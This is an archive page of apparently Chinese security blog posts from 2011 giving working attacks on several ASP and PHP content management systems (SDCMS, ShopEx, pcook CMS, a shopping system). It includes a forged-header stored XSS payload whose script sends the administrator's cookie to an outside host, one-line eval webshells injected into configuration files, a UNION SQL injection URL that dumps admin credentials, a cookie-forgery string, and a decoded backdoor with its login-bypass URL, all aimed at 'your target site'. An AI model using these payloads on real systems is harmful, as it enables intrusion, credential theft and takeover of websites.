浏览模式: 标准 | 列表2011年02月的文章

SDCMS 漏洞 0day

Submitted by admin
2011, February 19, 12:41 AM

作者:Amxking
漏洞分析:
看下面的代码,我们开始慢慢分析:
 
(注: 这种方法是在管理员允许评论的时候,才能利用的,不过,一般管理员都会允许评论吧)
 
在/plug/comment.asp中

sub save_comment
 
  ……
 
username=sdcms_f.HTMLEncode(username)
 
content=sdcms_f.contentEncode(content)
 
ip=sdcms_f.getip ‘请看这里,这里得到用户的IP.
 
 
set rs=server.CreateObject("adodb.recordset")
 
sql="select username,content,ip,infoid,ispass from sd_comment"
 
rs.open sql,conn,1,3
 
rs.addnew
 
rs(0)=left(username,10)
 
rs(1)=content
 
rs(2)=ip //没有任何过滤, 直接插到了数据库中.
 
rs(3)=id
 
if sdcms_comment_ispass=1 then
 
msg_contents=",请等待审核"
 
rs(4)=0
 
else
 
rs(4)=1
 
end if
 
rs.update
 
……
 
end sub

下面我们看下getip的实现吧,
 
在/inc/function.asp中

Public Function getip
 
ip=request.ServerVariables("HTTP_X_FORWARDED_FOR")
 
if ip="" then ip=Request.ServerVariables("REMOTE_ADDR")
 
getip=ip
 
End function

看到这里,大家都知道问题的存在了吧.作者通过” HTTP_X_FORWARDED_FOR”这个字段来得到IP的值,而我们知道,这个字段在数据包中是可以伪造的.
 
我们可以伪造数据包,将”HTTP_X_FORWARDED_FOR”的值, 改成一句话木马提交, 这样, 就直接将一句话木马插进数据库里去了. 如果我们知道数据库的位置,并且数据库的后缀名是asp的,那么就直接可以利用了.
 
但可惜,这个CMS的数据库的名称未知,在安装的时候, 由如下代码生成12个随机字符构成, 加上后缀名还是mdb的, 所以我们要插入一句话, 也没法利用的.
 
/install/index.asp中
 
Function get_something
 
Randomize
 
Do While Len(pass)<12 '随机密码位数
 
num1=CStr(Chr((57-48)*rnd+48)) '0~9
 
num2=CStr(Chr((90-65)*rnd+65)) 'A~Z
 
num3=CStr(Chr((122-97)*rnd+97)) 'a~z
 
pass=pass&num1&num2&num3
 
loop
 
get_something=pass
 
end function
 
我们考虑用另外一种方式来达到入侵的目的.
 
看如下代码:
 
/admin/sdcms_comment.asp
 
sub main
 
echo "<form name=""add"" action=""?"" method=""post"" onSubmit=""return confirm('确定要执行选定的操作吗?');"">"
 
page=request.querystring("page")
 
if page="" or not isnumeric(page) then
 
page=1
 
end if
 
pages =20
 
set rs=server.CreateObject("adodb.recordset")
 
if request("classid")<>0 then tj=" where infoid="&request("classid")&"" ‘这里还有一个注入漏洞,虽然上面用classid=sdcms.Requestint(classid)来得到其整数值,但放在sql中查询的时候,并没有用classid来查询,而是直接用request(“classid”)来查询,作者在防注入的时候,没有对其值进行过滤, 所以可以注入, 但这个注入的前提是有管理员权限, 所以,我们就不讨论了.

sql="select id,username,"
 
if Is_sql=0 then
 
sql=sql&"(iif(ispass=1,'已审','未审'))"
 
else
 
sql=sql&"(case ispass when 1 then '已审'else'未审' end)"
 
end if
 
sql=sql&",ip,adddate,content,ispass,infoid from "&sd_table&" "&tj&" order by ispass,id desc"
 
‘作者用sql语句直接查出IP的值来,并用如下代码显示在了页面上,没有经过任何过滤.
 
<td class="title_bg" style="text-align:left"><span style="float:right"><%if rs(6)=0 then%><a href="?action=pass&id=<%=rs(0)%>&t=1&classid=<%=classid%>">通过验证</a><%else%><a href="?action=pass&id=<%=rs(0)%>&t=0&classid=<%=classid%>">取消验证</a><%end if%> <a href="?action=del&id=<%=rs(0)%>&classid=<%=classid%>" onclick='return confirm("真的要删除?不可恢复!");'>删除</a></span><input name="id" type="checkbox" onClick="unselectall()" value="<%=rs(0)%>"> <%=rs(1)%> 发表于:<%=rs(4)%> IP:<%=rs(3)%></td>

我们考虑到xss来攻击,等管理员查看,审核评论的时候, 执行恶意的js。
 
Xss的概念这里就不详细介绍了,我们把” HTTP_X_FORWARDED_FOR”的值赋为<script src=http://www.xuehi.com/test.js></script>(我们把恶意的js写到test.js中)
 
然后提交. 这里提交的方法也不再累赘了.可以抓包用nc提交, 也可以找到现成的工具提交, 当然,也可以自己写程序提交.
 
这里注意,对方默认的这个ip的字段为50个字符长. 所以我们要控制好这个长度.
 
对于这个CMS,其cookie由12个作者自定义的字符加管理员用户名和md5后的密码组成,
 
所以我们得到了cookie, 就基本上得到了后台的权限.
 
下面讲下test.js我们如何实现,
 
如果写为

 
Alert(document.cookie)
 
这样,作者在审核的时候,就会弹出他的cookie来.我们当然不会这么用啦,我们要把cookie让其发送到远端的服务器上.下面的代码应该不会陌生了吧.
 
Test.js内容:
 
Var img = new Image();
 
Img.src=”http://www.xuehi.com/test.php?cookie=”+document.cookie;
 
Test.php的内容如下:
 

 
这样,管理员浏览过评论后,就会自动添加一个帐号, 呵呵.
 
这在我以前的文章中都提到过, 就不细讲了.
 
接下来是如何拿shell. 我们看下后台写配置的地方的代码:
 
在/admin/sdcms_set.asp中

set fso=server.CreateObject("scripting.filesystemobject")
 
set info=fso.CreateTextFile(Server.mappath("../inc/const.asp"),true)
 
info.write "<" & "%" & vbcrlf
 
……
 
info.write "%" & ">"
 
info.close
 
set info=nothing
 
set fso=nothing

作者将配置文件写到了/inc/const.asp中,
 
而在

sub save
 
t0=clear_bad(trim(request("t0")))
 
t1=clear_bad(trim(request("t1")))
 
t2=clear_bad(trim(request("t2")))
 
t3=clear_bad(trim(request("t3")))
 
t4=clear_bad(trim(request("t4")))
 
t5=clear_bad(trim(request("t5")))
 
t6=clear_bad(trim(request("t6")))
 
t7=clear_bad(trim(request("t7")))
 
t8=clear_bad(trim(request("t8")))
 
t9=clear_bad(trim(request("t9")))
 
t10=clear_bad(trim(request("t10")))
 
t11=clear_bad(trim(request("t11")))
 
t12=clear_bad(trim(request("t12")))
 
t13=trim(request("t13"))
 
t14=dir_check(trim(request("t14")))
 
t15=trim(request("t15"))
 
t16=trim(request("t16"))
 
t17=dir_check(trim(request("t17")))
 
if t17<>"" then t17=t17&"/"
 
select case t3
 
case ".htm",".html",".shtml"
 
case else:t3=".html"
 end select
 
select case t13
 
case "0","1"
 
case else:t13=0
 
end select
 
set sdcms_f=new sdcms_function
 
t9=sdcms_f.check_event(t9,"|"):t10=sdcms_f.check_event(t10,"|"):t11=sdcms_f.check_event(t11,"|")
 
set sdcms_f=nothing,
 
对其提交的参数进行了过滤.
 
Function clear_bad(t0)
 
clear_bad=Replace(t0,"""","")
 
clear_bad=Replace(t0,CHR(10),"")
 
End Function

上面可以看到对t15,t16的值没有过滤.
 
T16正好是系统管理,偏好设置中的文件名称项
 
所以,我们将文件名称的值改为test"%><%execute request("value")%><%a="test
 
这样, 我们就在/inc/const.asp文件中,写入了一句话木马.
 
然后再上传大的webshell就OK了.

 

=========================================================

拿shell方法

http://www.st999.cn/admin/sdcms_template.asp?action=edit&filename=2009/Css/a.ashx

Tags: sdcms

shopex拿shell

Submitted by admin
2011, February 16, 9:06 PM

http://www.t00ls.net/thread-14961-1-1.html

 

shopex 后台拿shell 最新

转来的,然后修改了下

http://localhost/shopadmin/index.php#ctl=system/template&act=editor&p[0]=purple&p[1]=index.php;1.html

 

 

 

themes\purple\borders

Tags: shopex

pcook cms 2.2以及以下版本的注入漏洞

Submitted by admin
2011, February 12, 6:32 PM

程序:pcook cms 2.2以及以下版本

下载:http://down.chinaz.com/soft/23761.htm

漏洞文件:save.asp,hits.asp

FROM http://www.st999.cn/blog

BY 流浪的风

save.asp代码:

<!--#include file="Inc/conn.asp"-->
<%
Dim id
Dim Rs,Sql
id = Replace(Trim(Request.QueryString("id")),"'","")
If Session("id"&id)<>"" Then
 Set Rs = Server.CreateObject("ADODB.Recordset")
 Sql = "Select * From pcook_Article Where id="&id
 Rs.Open Sql,Conn,3,3
 If Rs.Eof And Rs.Bof Then
  Response.Write("NoData")
 Else
  Response.Write("Dig")
  Response.Write(",")
  Response.Write(Rs("Dig"))
 End If
Else
 Set Rs = Server.CreateObject("ADODB.Recordset")
 Sql = "Select * From pcook_Article Where id="&id
 Rs.Open Sql,Conn,3,3
 If Rs.Eof And Rs.Bof Then
  Response.Write("NoData")
 Else
  Dim Dig
  Dig =Rs("Dig")
  Dig = Dig + 1
  Rs("Dig") = Dig
  Rs.Update
  Rs.Close
  Set Rs = Nothing
  Session("id"&id) = id
  Response.Write(Dig)
 End If
End If
%>

过滤不全,直接可以利用

随便找篇文章,链接如list.asp?id=1341,把list.asp改为save.asp就可以了

save.asp?id=1341%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,admin_name,16,17,18,19,20,21%20from%20pcook_admin

有的也许是19个字段,刚刚就有遇到过

默认表名 pcook_admin

默认字段表admin_name,admin_pass

关键字我就找不出来了,谁找出来,给我留下言啊

忘了补充一点,注入的时候,要把IE的安全属性调到最高,以免JS控制跳转首页了

来我blog :http://www.st999.cn/blog

 =========

后台cookie欺骗

pcookmanage=UserName=admin

==============

 一句话插配置文件   (Fung提供)

来到admin_setting.asp页面  输入以下代码 然后连接inc/config.asp文件即可

javascript:document.getElementById("artlistnum").value="1\":eval request(\"a\")'";alert(document.getElementById("artlistnum").value);

======

文章列表每页显示记录:     1":eval request("a")'

Tags: pcook

无忧购物系统ASP时尚版存在后门

Submitted by admin
2011, February 6, 3:08 PM

FROM http://www.st999.cn/blog 

by  流浪的风

程序:无忧购物系统ASP时尚版

漏洞:存在后门,可直接登录拿shell,这后门不知道是本来就有还是另外别人添加的,以前的版本有没有这后门,我倒是没注意了

下载地址:以下两个地址下载的都有后门存在,其他网站的就没有看了

http://down.admin5.com/asp/3090.html  

http://www.onlinedown.net/soft/85106.htm

后门存在文件:admin\xyvipSet.asp

前些天没事干,刚好看到"无忧购物系统ASP时尚版 V2011.1.19",这个版本貌似是新出来的,以前的版本我有看过,漏洞不少,这个版本呢?

刚好今天有时间,就下载过来看了下,没想到漏洞还没找到,后门倒是发现了一个,晕了,漏洞不找也罢,这么大的后门存在,还有什么好找的。。。

在xyvipSet.asp文件中,有一处地方加密了,我就奇怪了,整个程序都没加密,就这地方加密了,有什么奥妙?

“#@~^iQAAAA==@#@&kW,D;E/DcJmmOkKxEb{Jhm% Z!%r~Otx@#@&d+ddbWU`rCNskUE*'JACN T!RE@#@&d/kkW `rWVmoE#{F@#@&M+/aGxk+R"n[kM+1Y~JrU9+aRmdwr@#@&n NPrW@#@&pCYAAA==^#~@”

解密了一下,明文出来了

if request("action")="waj2008" then
session("admin")="waj2008"
session("flag")=1
response.Redirect "index.asp"
end if

汗,好嚣张的后门啊

 

利用方式:http://www.st999.cn/admin/xyvipset.asp?action=waj2008

www.st999.cn替换成你的目标网站即可

进入后台的话,利用上传就可以拿shell了。

谁能给我个比较强大的关键字?

Tags: 无忧